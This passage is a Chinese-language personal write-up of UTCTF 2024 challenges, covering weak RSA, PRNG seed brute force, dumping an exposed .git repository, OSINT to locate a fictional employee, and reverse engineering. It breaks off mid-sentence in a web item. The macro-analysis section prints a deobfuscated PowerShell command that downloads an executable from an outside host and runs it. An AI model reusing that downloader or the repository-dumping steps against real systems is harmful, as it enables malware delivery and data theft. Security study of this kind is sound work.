UTCTF 2024 个人题解
Lysithea 10583 45th
德克萨斯州立大学的两日校赛,题量不大但是难度在校赛里算是中等偏上的,misc以外各个分类基本都至少一道1000大题。我也一如既往的垃圾题杀手,会做的题大家基本都会,被动态分干到从20名掉到40名(第一名20000分,基本上all clear了),1000分大题基本没有能做出来的。
第一天基本垃圾题全清了,第二天专攻rev的In the Dark和pwn的Webserver,有点分散精力了,如果全力打webserver说不定能打下来。
Crypto
Crypto分类整体难度是偏低的,除了最后一个偏逆向的1000分题(forgery)看不懂
RSA-256
基本是签到题。RSA-256也就是用到大整数分解的质数大小是256位的,这个大小的质数是可以暴力分解,或者说查表的(factordb.com)
flag是utflag{just_send_plaintext}确实这种级别的加密不如直接给明文好了
numbers go brrr (2问)
这题感觉在考伪随机但感觉考的不深入。
作者自己实现了一个伪随机数,但种子范围在randint(0, 100000)。之后用这个伪随机生成密钥,对信息进行AES加密。
第一问你可以无限次对自己的信息加密获得密文,最后服务器会返回flag的密文。事实上只用一段明文就可以爆破出随机数种子,然后就知道加密flag时使用的key了(注意两个key不一样,第二个key是第一个key的后续)
第二问前面一样可以无限次获得任意信息密文,之后要猜key。但是同样一次明文就可以爆出seed,然后key就知道了。这样的猜一共有三次,之后给flag。
这个flag表明出题人也放弃治疗了:
utflag{ok_you_are_either_really_lucky_or_you_solved_it_as_intended_yay}
bits and pieces
非常单纯的RSA题,给了三对N, e, c对,N很大,e=65537,看似无懈可击。
事实上第二组和第三组的共享公因数(gmpy2.gcd),因而可以直接分解。第一组没怎么看出来,但放到yafu里一跑就出来了,实际上两个因数大小十分接近(N本身非常接近一个整数的平方),所以也很容易分解。
Cryptordle
有点意思的一个题,相当于wordle。题目会根据一个字典(大概率是有意义的英文单词)生成一个五个字母的单词,然后我们有6次机会猜中。每次的反馈诸位字符差模31的乘积。
response = 1
for x in range(5):
a = ord(guess[x]) - ord('a')
b = ord(answer[x]) - ord('a')
response = (response * (a-b)) % 31
print(response)
这个题我用的方法是概率成功的(所以不是预期解,至少是预期解的弱化版),我用了一个弱化的策略,构造五组固定输入,通过5次反馈唯一解算答案(之所以是弱化,因为后四次可以通过之前的结果优化输入,这个应该可以优化成100%的方法)。假设答案为x1 x2 x3 x4 x5,这里每个数是0-25的整数
- 第一轮给
aaaaa,获得的O=x1*x2*x3*x4*x5 - 第二轮给
baaaa,获得A=(x1-1)*x2*x3*x4*x5,则O*inv(O-A)即x1,其中inv是模31意义 下的逆。 - 第三四五轮给
abaaa,aabaa,aaaba,基于同样原理可以算出x2,x3,x4 x5的值可以直接O * inv(x1*x2*x3*x4)
这个方法成功条件是每一步都可以逆,求逆的子串不能被31整除(或者说,不能有a)。我认为这个题应该是可以通过一种构造保证无论要猜什么都能成功的。我中间也想过这个题是不是能随机输入+Z3解算,不过好像计算量还是太大Z3搞不出来,看来还是需要精妙构造。
我现在又想了想,是不是要求被猜的答案里没有a就能猜出来?如果这样那用q这样的非常见字母来作为基底可能更容易。
据说主办方为了堵概率性的非预期中间才把题目改成需要猜中3次的,笑死。
simple signature
有点不知所云的题,题目信息只说了根据RSA实现了个签名机制,然后就只给了一个nc。连上去后,是这样的信息:
Welcome to the signature generator!
This service generates signatures for nonnegative integer messages.
Today's RSA parameters are:
n = (一个很大的整数)
e = 65537
Enter a message as an integer (enter 0 to stop):
然后我们可以无限次输入整数(虽然prompt说只能输入非负数,但是是可以输入的),似乎会进行RSA加密返回C。当输入0后,题目要求我们提供一组没有输入过的数字+签名。
一开始我没什么思路,直到我随机fuzz出来输入-1, 1, -1之后,给出的值一定是1。在RSA加密这种平均数字长度好几行的加密里出现1这种密文,一定是不正常的,这基本只代表一种情况,就是明文是1。
虽然到这一步就能拿flag了(utflag{a1m05t_t3xtb00k_3x3rc153}),但我们仍然搞不懂这到底是什么算法。另外1, -1给出的一定是1, 0,也是可以拿的
Forensics
取证里有一些挺有想法的题,但是我弱取证。共8个题做出4个。
Contracts
一眼GG签到题。PDF里藏了一张图片,Acrobat打开后,编辑模式拖出来,人眼OCR即可
A Very Professional Website
给了一个网站,基本啥都没有。我也不知道我怎么就想到看一眼/.git的,结果报403了。这个可是非常大的收获,说明可以直接访问git仓库,dump出所有内容(我用的git-dumper)
看一眼历史记录里没有异常,所以还是把所有objects全部打印出来比较好。这里记录一下命令:
# use this to print all objects in git repo, including ref log
git rev-list --objects -g --no-walk --all
# or alternatively
git cat-file --batch-check --batch-all-objects
# use this to print
git cat-file -p 1d2961fb02140ea819212ac081b0291c323fd056
# in git ref log?
# utflag{gitR3fl0g}
OSINT (2/3问)
包含三问的一个有故事线的开盒题,挺有意思的。
OSINT1 (泄露文档)
给了一个名为KAKUU公司的门户主页,要求我们寻找这家公司泄露的文档(公司当然是假的,不是同名的日本公司)
一开始我搞错方向,在网页上找了半天,还扒出了他们用的模板是Bootstrap Arsha。不过这毕竟不是Web题,出题人也放出hint说这个题显然不应该在公司主页上找泄露的文档。
后来我注意到主页上,公司人员介绍里,提到名为Cole Minerton(后面简称CM)的员工运营着公司的社交媒体,于是我开始google/duckduckgo找这个人。之后我在几个地方找到了他。
- Youtube上有一个号,关注很少(说明是个人号不是专业视频号),发布了一个游戏的速通视频,只有一个人互动,互动那个人好像是真的是来互动的。主页简介有个discord群聊,但这个群聊里竟然有200多人,有点反常。
- twitter(X)有号,整个账号只有一条推,在2月25日左右说自己不在这里活动了,有linktree链接,还指向上面说的youtube,一个reddit(好像没什么信息),和一个名为Mastodon的社交平台,类似facebook。
- Mastodon上记录基本也是2月25日左右开始,有大概7条动态,其中一条提到了Kakuu Company,说明找对位置了。
其实到这里,基本确定那个discord是题目范围内的了,可惜我这时突发社恐恶疾,迟迟不敢点邀请链接,下了好久决心才进去,结果我是没有权限发言的,只有一段2月25日-3月1日左右的群聊记录,涉及CM和他两个朋友(也是Mastodon和他互动的那两个人)。
可以在聊天记录里看到CM和朋友吹逼时把自己签的合同给发出来了(底下还有人接龙💀的反应,我看了我也有权限接龙也就接了一下),flag是明文在其中的。

OSINT2 (城市检索)
第二问要我们找出这个人住在哪个州哪个城市(以城市,州缩写,zip code格式提交)
到这一步时需要仔细捋一下discord群聊里的有效信息,看看哪一步是包含了位置相关的信息。
- CM在2月26日左右去Angel Fire滑雪了,这一步没有住址信息
- CM提到自己的公司是远程居家办公,所以门户站的公司地址(纽约)和问题无关了
- CM和朋友说打算周末(3月2日)去Telluride(Telluride在科罗拉多)旅游,期间可以得知CM和朋友没住在一个城市,也都不在Telluride。
- 3月2日,CM在出发之前还在加班,并且在02:49说自己刚刚加班完要出发,还要7小时才能到达Telluride。

- 与此同时,大约在02:48,CM在Mastodon发了一张在加油站加油的照片

由此我们可以确定,此时CM还在自己家所在的城市,这个加油站所在的城市就是答案。这张照片虽然本身不含位置元数据,但是可以得到这些信息:
- 中间电线杆上有New Mexico Lottery的广告,说明是新墨西哥州(新墨西哥州和科罗拉多南北相邻,确实是合理的自驾游去处,7个小时车程能到的地方)。
- 背景有路牌Cimarron,查了一下这个是Raton City, Colfax County的一个镇子。于是把这三个地名都试一遍,Raton是对的。
第三问是要找CM的IP地址,暂时没思路,没做。
Gibberish(未做出)
题干:
Help! I'm trying to spy on my lover but they're not typing in any language I'm familiar with!,然后给了一段USB流量包,明示了是某种键盘。
hint:
- I made this on a qwerty keyboard but I would recommend buying something more specialized if you were to do this all day. You'll know you're on the right track when you find something that rhymes with a word in the challenge description.
- It's not a cipher.
- I used a 6-key rollover keyboard. You might want to double check some of your words.
流量包包含一些USB descriptor的报文,能看出来键盘是Razer Huntsman V2 Tenkeyless。HID键盘报文一般是8字节有效信息,前两个字节是功能键状态(ctrl, shift等),后六个字节是输入缓冲区。因为这种键盘可以同时对6个按键作出反应,所以这种键盘被称为6 key rollover (6KRO)。和很多键盘报文只有第三字节有记录不同,这个报文是会出现成股成股出现,一般是后一个报文在前一个报文基础上增加或者减少一个字符(偶尔也会同时增减,或者减少两个字符之类的),这应该表示快速打字时,几个键被同时按下。但是,我并不能确定计算机识别是按键出现的顺序,还是消失的顺序(我猜出现的顺序更合理,按说这应该属于一个缓冲区,处理完后把按键从缓冲区去除)。按键除了a-z, 0-9,还有相当的特殊符号、退格等
这个题最精髓的点在于,如果按一般HID文档(没找到更好的更官方的文档)中,字节与键位映射表编写还原程序,会发现出来的是乱码,正如题目标题所说。我其实一上来(hint出来之前)就怀疑这个是非标准键盘,比如我听说德语键盘就是QZERTY的。但很可惜的是,Wikipedia上提到的大部分非标准键位都只是QWERTY的小变体,要么就是自己的文字(西里尔字母、非拉丁字符等),少数几个高度打乱的键位布局也无法让我这里的乱码变成有意义的英文,所以就没再尝试。未知键盘布局+未知的6KRO处理顺序,这应该是比较困难的点。
Study Music(未做出)
这个就是那个油管10h循环猫猫视频的音频隐写题(链接:https://youtu.be/1Cbaa6dO2Yk)。Audition看半天没有任何思路,MATLAB光载入就要十几分钟消耗12G内存。估计做自相关后能看出点什么,不过算了。
Reverse Engineering
算上crypto里那个rev题,一共六个题,做出一半(包括一个beginner题)。
没做出来的In the Dark是一个迷宫题,只有一个巨大的主函数并且控制流平坦化,我暂时没有趁手工具就拿angr跑了跑,没跑出来(以后得想想办法怎么做这种去平坦化的题)。Accelerated Hell是一个涉及Rust, CUDA的逆向。
Fruit Deals
Excel VBA宏病毒逆向。说实话这个题我最担心的不是逆向看不懂,而是如何在不触发宏的情况下看宏的内容。
给了一个可疑的xlsm,题干也说虽然本身不是恶意程序,但也最好不要直接打开 。我当作zip解压后,确实看到了xl/vbaProject.bin一个VBA二进制文件,搜了一下没有现成逆向工具,感觉还是用Excel本身来查看宏代码比较好,只要注意别不小心运行了(最好是放虚拟机里弄,以免翻车)。
默认Excel是不会开启宏的,需要手动开启。要查看宏,需要在【选项-自定义功能区-开发工具】打开开发工具选项卡,并在那里找到VBA的编辑器。进去后是能看到两段VBA script,其中一段有很明显的混淆特征,大意基本是当某个单元格等于某个base64乱码时,给字符串加一个子串,最后调用Shell执行这个串。看起来没有其他危险行为。
于是,最终我在把Shell注释掉后,加了断点运行(不得不说VBA的调试器是真难用)。运行到这行时,可以看出他本来执行的是这样的代码:
"poWeRsHELL -command "$oaK = new-object Net.WebClient;$OrA = 'http://fruit.gang/malware';$CNTA = 'banANA-Hakrz09182afd4';$jri=$env:public+'\'+$CNTA+'.exe';try{$oaK.DownloadFile($OrA, $jri);Invoke-Item $jri;break;} catch {}""
题干中说,flag是要下载的文件名,这里很明显就是$CNTA.exe了($env:public我本地调试是空的)
PES-128
不知道是不是非预期。这个题给了一个二进制的加密程序,和一个被加密的flag密文hex。测试后发现:
- 第一个字符是不会加密的,就是明文(flag第一个hex就是u)
- 只改最后一个字符,不会影响前面的加密结果,比较像流加密
那就结束了,这个加密弱逐位爆破,只要从前面开始遍历最后一位,只要给出和加密flag相同的结果就说明我们猜对了,可以猜下一问了。
flag是utflag{i_got_the_need_for_amdahls_law},我猜作者预期一个类似侧信道/时间攻击的解法。这算是侧信道吗?我不好说,如果改成只判断是否等于flag而不是直接给出flag完整密文让我们自己测试,那应该是比较标准的侧信道。
Web
Web题除了第二天放出的rust+wasm沙箱题,都做了。有点难度但是在我能处理的范围内。
Schrödinger
这个题考的zip里藏软链接泄露文件,也是我接触CTF以来,第一个学会的Web知识点(GeekGame1)
zip中包含--symlinks